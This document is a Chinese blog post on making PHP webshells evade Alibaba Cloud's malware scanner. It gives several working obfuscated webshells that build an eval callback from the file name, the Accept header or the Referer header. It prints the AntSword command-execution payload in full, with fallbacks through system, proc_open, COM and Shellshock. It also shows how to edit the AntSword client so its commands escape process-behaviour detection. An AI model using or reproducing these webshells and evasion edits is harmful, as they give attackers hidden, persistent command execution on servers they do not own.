webshell免杀过阿里云PHP

前言

​ 基于之前成功绕过JSP的免杀经验,主要对抗的重点还是放在分离免杀,在这个项目中也有一些关于RASP和沙箱对抗的经验,可以直接复用。

从文件名获取内容

​ 云查杀会将我们传入的文件重命名,因此我们可以利用真实的webshell和沙箱中的文件名不一致来绕过。

  • 下面的程序会从文件名中取出r并使用
1
2
3
4
5
6
7
<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

​ 由于我测试的PHP版本在7以上,不能使用assert,所以要稍微修改一下。

1
2
3
4
5
6
7
8
9
10
<?php
function test($a){
@eval($a);
}
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

​ OK,经过测试,这样确实可以过阿里云的查杀,但是当执行命令后会爆一个进程异常行为,看起来是webshell连接工具的特征被标记了。

image-20211008164723424

​ 从上面的截图中可以推测,主要是父进程执行的特征比较明显,所以可以尝试找到这部分的内容,看能否更改。

1
/bin/sh -c cd /var/www/html;ls;echo [S];pwd;echo [E]

​ 首先我们一定很好奇,为什么一定要加echo [S];pwd;echo [E]?,我们可以抓一个命令执行的数据包分析一下。请求包中主要的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php

@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out) {
return @base64_encode($out);
};

function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "a34".
"be65";
echo @asenc($output);
echo "12f680".
"ecc486";
}
ob_start();
try {
$p = base64_decode(substr($_POST["y09523d8d31747"], 2));
$s = base64_decode(substr($_POST["h5718ddf00b51b"], 2));
$envstr = @base64_decode(substr($_POST["l723784e81c292"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=".getenv("PATH").
":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").
";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";

function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
};

function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};

function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
}
elseif(fe('passthru')) {
@passthru($c, $ret);
}
elseif(fe('shell_exec')) {
print(@shell_exec($c));
}
elseif(fe('exec')) {
@exec($c, $o, $ret);
print(join("",$o));
}
elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);}
elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}
elseif(runshellshock($d, $c)) {return $ret;}
elseif(substr($d,0,1)!=" /" && @class_exists("COM ")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{$ret = 127;}
return $ret;};
$ret=@runcmd($r."2 > & 1 ");print ($ret!=0)?"
ret = {
$ret
}
":"
";;}catch(Exception $e){echo "
ERROR: //".$e->getMessage();};asoutput();die();
?>

​ 命令执行的逻辑主要在runcmd函数中,而runcmd的参数为$r$r是由 "{$p} {$c}";组成,$c是从$s中提取的。

image-20211008174219308

$s解码后内容如下:

1
cd "/var/www/html";ls;echo [S];pwd;echo [E]

我们对返回包内容解码,可以看到[S]和[E]中间为pwd的结果,蚁剑会提取这个结果并在客户端显示。

image-20211008174321473

image-20211008174459642

[S][E]其实也就是用来分割的作用,所以我们可以将其替换,但是替换成其他字符还是会被查杀。

image-20211008175245649

猜测是因为[]的问题,去掉了[]仍然会被杀,索性去掉echo [A];pwd;echo [A]这段内容,这样确实可以过,但是会影响shell的正常使用。之后我又做了如下测试。

  • cd “/var/www/html”;ls;echo @;pwd;echo @; 杀
  • cd “/var/www/html”;ls;echo @;pwd; 不杀
  • cd “/var/www/html”;ls;pwd; 不杀

通过上面的测试,只要在pwd前只使用一个echo就不会被杀,而一个echo也满足我们的使用需求了,下来我们要针对客户端简单的剔除特征。

这部分的特征在antSword\source\modules\terminal\index.js文件中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 /**
* 根据执行命令&&路径生成最终command
* @param {String} cmd 要执行的命令
* @param {String} path 当前路径
* @return {String} 最终执行命令
*/
parseCmd(cmd, path) {
path = path
.replace(/\\\\/g, '\\')
.replace(/"/g, '\\"')
.replace(/\\/g, '\\\\');
return (this.isWin ?
this.isPowershell ?
`cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` :
`cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` :
`cd "${path}";${cmd};echo [S];pwd;echo [E]`);
}
...
// 开始执行命令
this
.core
.request(this.core.command.exec({
cmd: this.parseCmd(cmd, this.path),
bin: _bin,
env: Object.keys(this.asenvironmet).map((k) => {
return `${k}|||askey|||${this.asenvironmet[k]}|||asline|||`;
}).join(''),
}))
.then((ret) => {
let _ = antSword.unxss(ret['text'], false);
// 解析出命令执行路径
const indexS = _.lastIndexOf('[S]');
const indexE = _.lastIndexOf('[E]');
let _path = _.substr(indexS + 3, indexE - indexS - 3);

let output = _.replace(`[S]${_path}[E]`, '');

所以我们更改的主要有如下的部分,一个是发送命令的部分。

1
2
3
4
5
6
7
8
9
10
11
parseCmd(cmd, path) {
path = path
.replace(/\\\\/g, '\\')
.replace(/"/g, '\\"')
.replace(/\\/g, '\\\\');
return (this.isWin ?
this.isPowershell ?
`cd "${path}";${cmd};echo [S];(pwd).path;` :
`cd /d "${path}"&${cmd}&echo [S]&cd;` :
`cd "${path}";${cmd};echo [S];pwd;`);
}

还有就是返回结果解析的部分。

1
2
3
4
5
6
// 解析出命令执行路径
const indexS = _.lastIndexOf('[S]');
// const indexE = _.lastIndexOf('[E]');
let _path = _.substr(indexS + 3);

let output = _.replace(`[S]${_path}`, '');

从请求头获取执行内容

​ 和从文件名获取内容一样,不多赘述了,就是在使用时需要加上Accpet:r请求头。

1
2
3
4
5
6
7
8
9
<?php
function test($a){
@eval($a);
}
$password = "LandGrey";
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

从Referer中获取执行内容

​ 使用需要传入Referer: teste6123

1
2
3
4
5
6
7
8
9
10
11
<?php

function test($a){
@eval($a);
}
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-6,-4);
echo $wx;
forward_static_call_array($wx."st", array($_REQUEST[$password]));
?>